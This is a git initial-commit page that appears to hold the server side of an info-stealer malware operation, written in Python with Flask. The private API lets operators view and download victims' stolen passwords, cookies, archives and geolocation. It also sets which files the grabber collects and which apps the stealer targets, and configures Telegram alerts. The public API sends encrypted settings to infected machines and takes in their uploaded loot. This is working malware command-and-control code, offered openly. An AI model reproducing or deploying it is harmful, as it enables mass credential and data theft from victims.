initial commit
This commit is contained in:
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1 @@
|
||||
# Coded by [email protected]
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,319 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from functools import wraps
|
||||
from base64 import b64decode
|
||||
from json import loads, dumps
|
||||
from markupsafe import escape
|
||||
from flask import \
|
||||
request, jsonify, session, redirect, url_for, send_file
|
||||
# Import packages
|
||||
from core.models.reports import Report
|
||||
from core.models.accounts import Account
|
||||
from core.models.errors import ApiErrors
|
||||
from core.modules.targets import SetTargetApps
|
||||
from core.modules.telegram import SetTelegramCredentials
|
||||
from core.modules.encryption import SetEncryptionKey, RC4Cipher
|
||||
from core.modules.grabber import \
|
||||
AddGrabberPath, DeleteGrabberPath, \
|
||||
SetGrabberExtensions, SetGrabberMaxSize
|
||||
|
||||
""" Check if client session is exists and valid """
|
||||
def is_client_authorized() -> bool:
|
||||
# Check if session exists
|
||||
if not session:
|
||||
return False
|
||||
# Create account object
|
||||
account = Account(session["account"]["username"],
|
||||
session["account"]["password"])
|
||||
# Check if account exists and password
|
||||
if not account.exists() or not account.login():
|
||||
session.pop("account", None)
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
""" Login decorator """
|
||||
def login_required(function):
|
||||
@wraps(function)
|
||||
def decorated_function(*args, **kwargs):
|
||||
if not is_client_authorized():
|
||||
return redirect(url_for("login"), code=302)
|
||||
return function(*args, **kwargs)
|
||||
return decorated_function
|
||||
|
||||
|
||||
"""
|
||||
Get report error/success message by id
|
||||
Result: ErrorState, Message, Report object
|
||||
"""
|
||||
def get_report_state(id: int) -> tuple:
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return True, ApiErrors.client_not_authorized, None
|
||||
# Get report by id
|
||||
report = Report(identification=id)
|
||||
# Check if exists
|
||||
if not report.Exists():
|
||||
return True, ApiErrors.Report.not_found.format(id), None
|
||||
# Check username
|
||||
if not report.IsReportOwner(session["account"]["username"]):
|
||||
return True, ApiErrors.client_not_authorized, None
|
||||
# Done
|
||||
return False, "OK", report
|
||||
|
||||
""" API requests handler """
|
||||
def private_api_handler(function):
|
||||
# Get account credentials
|
||||
username = escape(request.args.get("username"))
|
||||
if username == "None": # If args is empty - try get from post data
|
||||
username = escape(request.form.get("username"))
|
||||
password = escape(request.args.get("password"))
|
||||
if password == "None": # If args is empty - try get from post data
|
||||
password = escape(request.form.get("password"))
|
||||
|
||||
# Create account object
|
||||
account = Account(username, password)
|
||||
|
||||
# Account login function
|
||||
if function == "login":
|
||||
# Check if already logged in
|
||||
if "account" in session:
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.Login.already_logged_in.format(session["account"]["username"])})
|
||||
# Check if account exists
|
||||
if not account.exists():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.Login.account_does_not_exist.format(username)})
|
||||
# Check password
|
||||
if not account.login():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.Login.wrong_password})
|
||||
# Logged in
|
||||
session["account"] = {"username": username, "password": password} # Set session
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Login.logged_in})
|
||||
|
||||
# Account logout
|
||||
elif function == "logout":
|
||||
# Session exists
|
||||
if is_client_authorized():
|
||||
# Close session
|
||||
session.pop("account", None)
|
||||
# Redirect to login page
|
||||
return redirect(url_for("login"), code=302)
|
||||
|
||||
# Account register function
|
||||
|
||||
# Account unregister function
|
||||
elif function == "unregister":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Unregister account
|
||||
if Account(session["account"]["username"], '').unregister():
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Register.unregistered_ok})
|
||||
|
||||
# Change account password
|
||||
elif function == "change_password":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Get new and old password
|
||||
new_password = escape(request.form.get("new_password"))
|
||||
old_password = escape(request.form.get("old_password"))
|
||||
# Create account object from data
|
||||
account = Account(session["account"]["username"], old_password)
|
||||
# Check user is authorized
|
||||
if account.login() is False:
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Change password
|
||||
account.change_password(new_password)
|
||||
# Delete session
|
||||
session.pop("account", None)
|
||||
# Done
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Register.change_password_ok})
|
||||
|
||||
# Change account encryption key
|
||||
elif function == "change_encryption_key":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Get RC4 key
|
||||
rc4_key = escape(request.form.get("rc4_key"))
|
||||
SetEncryptionKey(session["account"]["username"], rc4_key)
|
||||
# Done
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Register.change_password_ok})
|
||||
|
||||
|
||||
# Get report
|
||||
elif function == "get_report":
|
||||
# Get report id
|
||||
report_id = request.args.get("id")
|
||||
# Get report
|
||||
error, message, report = get_report_state(report_id)
|
||||
# On error
|
||||
if error: return jsonify({"error": True,
|
||||
"message": message})
|
||||
# Send report
|
||||
filehandle, filename = report.GetArchive()
|
||||
return send_file(
|
||||
as_attachment=True,
|
||||
path_or_file=filehandle,
|
||||
attachment_filename=filename,
|
||||
mimetype="application/zip"
|
||||
)
|
||||
|
||||
# Delete report from db and disk
|
||||
elif function == "del_report":
|
||||
# Check if authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Get report id
|
||||
report_id = request.args.get("id")
|
||||
# Get report
|
||||
error, message, report = get_report_state(report_id)
|
||||
# On error
|
||||
if error: return jsonify({"error": True,
|
||||
"message": message})
|
||||
# Delete
|
||||
report.DeleteReport()
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Report.deleted_ok.format(report_id)})
|
||||
|
||||
# Comment report in db
|
||||
elif function == "com_report":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Get report id
|
||||
report_id = request.args.get("id")
|
||||
comment_t = escape(request.args.get("text"))
|
||||
# Get report
|
||||
error, message, report = get_report_state(report_id)
|
||||
# On error
|
||||
if error: return jsonify({"error": True,
|
||||
"message": message})
|
||||
# Comment
|
||||
report.ChangeComment(comment_t)
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Report.comment_ok})
|
||||
|
||||
|
||||
# Get reports list
|
||||
elif function == "get_reports":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Get report id
|
||||
report_id = request.args.get("id")
|
||||
|
||||
# Get all reports
|
||||
if report_id is None:
|
||||
found_reports = Report.GetReports(
|
||||
session["account"]["username"],
|
||||
geo_data_dict=True
|
||||
)
|
||||
# Get one report
|
||||
else:
|
||||
found_reports = Report.GetReports(
|
||||
session["account"]["username"],
|
||||
geo_data_dict=True,
|
||||
identification=report_id
|
||||
)
|
||||
|
||||
# Get reports data
|
||||
reports = list(map(lambda report:
|
||||
{
|
||||
"id": report.id,
|
||||
"geo": report.geo_data,
|
||||
"time": report.add_time,
|
||||
"counter": report.counter,
|
||||
"cookies": report.cookies_list,
|
||||
"passwords": report.passwords_list,
|
||||
"information": report.information,
|
||||
}, found_reports)
|
||||
)
|
||||
return jsonify(reports)
|
||||
|
||||
# Add grabber path
|
||||
elif function == "new_grabber_path":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Create new
|
||||
path_value = b64decode(request.args.get("b64_value")).decode("utf8")
|
||||
AddGrabberPath(session["account"]["username"], path_value)
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Grabber.path_saved_ok})
|
||||
|
||||
# Delete grabber path
|
||||
elif function == "del_grabber_path":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Delete
|
||||
path_value = b64decode(request.args.get("b64_value")).decode("utf8")
|
||||
DeleteGrabberPath(session["account"]["username"], path_value)
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Grabber.path_deleted_ok})
|
||||
|
||||
# Delete grabber path
|
||||
elif function == "set_grabber_extensions":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Set new extensions and size
|
||||
extensions = loads(request.args.get("json_list"))
|
||||
max_size = int(request.args.get("size"))
|
||||
SetGrabberMaxSize(session["account"]["username"], max_size)
|
||||
SetGrabberExtensions(session["account"]["username"], extensions)
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Grabber.extensions_saved_ok})
|
||||
|
||||
# Change telegram bot token and chatids
|
||||
elif function == "set_telegram_credentials":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Get params
|
||||
token = request.args.get("token")
|
||||
ids = loads(request.args.get("json_list"))
|
||||
# Apply settings
|
||||
SetTelegramCredentials(session["account"]["username"], token, ids)
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Register.change_telegram_ok})
|
||||
|
||||
# Change stealer configuration for user
|
||||
elif function == "set_apps_collection_configuration":
|
||||
# Check user is authorized
|
||||
if not is_client_authorized():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.client_not_authorized})
|
||||
# Get params
|
||||
apps = loads(request.args.get("json_list"))
|
||||
# Apply settings
|
||||
SetTargetApps(session["account"]["username"], apps)
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Register.change_apps_ok})
|
||||
|
||||
# Method does not exists
|
||||
else:
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.function_does_not_exist.format(function)})
|
||||
@@ -0,0 +1,70 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from markupsafe import escape
|
||||
from flask import request, jsonify
|
||||
# Import packages
|
||||
from core.models.reports import Report
|
||||
from core.models.accounts import Account
|
||||
from core.models.errors import ApiErrors
|
||||
from core.modules.telegram import NotifyUsers
|
||||
from core.modules.targets import GetEnabledApps
|
||||
from core.modules.grabber import GetGrabberRules
|
||||
from core.modules.encryption import GetEncryptionKey, RC4Cipher
|
||||
|
||||
""" API requests handler """
|
||||
def public_api_handler(function):
|
||||
# Get account credentials
|
||||
username = escape(request.args.get("username"))
|
||||
account = Account(username, '')
|
||||
|
||||
# Check if account exists
|
||||
if not account.exists():
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.Login.account_does_not_exist.format(username)})
|
||||
# Init RC4 decryptor
|
||||
cipher = RC4Cipher(GetEncryptionKey(username).encode("utf8"))
|
||||
|
||||
# Fetch encrypted user options for client
|
||||
if function == "fetch_options":
|
||||
# Get response data
|
||||
apps = ",".join(GetEnabledApps(username))
|
||||
_g_rules = GetGrabberRules(username)
|
||||
grabber_extensions = ",".join(_g_rules["extensions"])
|
||||
grabber_maxsize = str(_g_rules["max_size"])
|
||||
grabber_paths = ",".join(_g_rules["paths"])
|
||||
# Join response, encrypt and send to client
|
||||
joined = "|".join([apps, grabber_extensions, grabber_paths, grabber_maxsize])
|
||||
return cipher.Encrypt("SUCCESS:" + joined)
|
||||
|
||||
# Send new report
|
||||
elif function == "send_report":
|
||||
# Get report params
|
||||
ip = request.remote_addr
|
||||
data = cipher.CryptBytes(request.data) # Zip archive bytes
|
||||
counter = cipher.Decrypt(escape(request.args.get("counter")))
|
||||
cookies_list = cipher.Decrypt(escape(request.args.get("cookies")))
|
||||
passwords_list = cipher.Decrypt(escape(request.args.get("passwords")))
|
||||
information = cipher.Decrypt(escape(request.args.get("information")))
|
||||
# Create report
|
||||
new = Report(
|
||||
archive=data,
|
||||
counter=counter,
|
||||
passwords_list=passwords_list,
|
||||
cookies_list=cookies_list,
|
||||
information=information,
|
||||
)
|
||||
# Save
|
||||
new.SaveReport(ip, username)
|
||||
# Telegram bot
|
||||
NotifyUsers(new, username, ip)
|
||||
# Response
|
||||
return jsonify({"error": False,
|
||||
"message": ApiErrors.Report.saved_ok})
|
||||
|
||||
# Method does not exists
|
||||
else:
|
||||
return jsonify({"error": True,
|
||||
"message": ApiErrors.function_does_not_exist.format(function)})
|
||||
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from os import path
|
||||
from threading import Lock
|
||||
from sqlite3 import connect
|
||||
# Import packages
|
||||
from core.paths import DATABASE_DIR
|
||||
|
||||
|
||||
class DatabaseManager(object):
|
||||
""" Database manager """
|
||||
def __init__(self, db_file):
|
||||
# Check if path exists
|
||||
db_location = path.join(DATABASE_DIR, db_file)
|
||||
assert path.exists(db_location), f"Failed connect to database {db_file}"
|
||||
# Connect to database
|
||||
self.connection = connect(
|
||||
db_location,
|
||||
check_same_thread=False
|
||||
)
|
||||
# Create lock and cursor
|
||||
self.lock = Lock()
|
||||
self.cursor = self.connection.cursor()
|
||||
|
||||
def execute(self, sql: str, values: list = [], commit_changes: bool = False) -> list:
|
||||
""" Execute sql commands """
|
||||
if commit_changes is True:
|
||||
self.lock.acquire(commit_changes)
|
||||
self.cursor.execute(sql, values)
|
||||
self.connection.commit()
|
||||
self.lock.release()
|
||||
return []
|
||||
else:
|
||||
self.cursor.execute(sql, values)
|
||||
return self.cursor.fetchall()
|
||||
Reference in New Issue
Block a user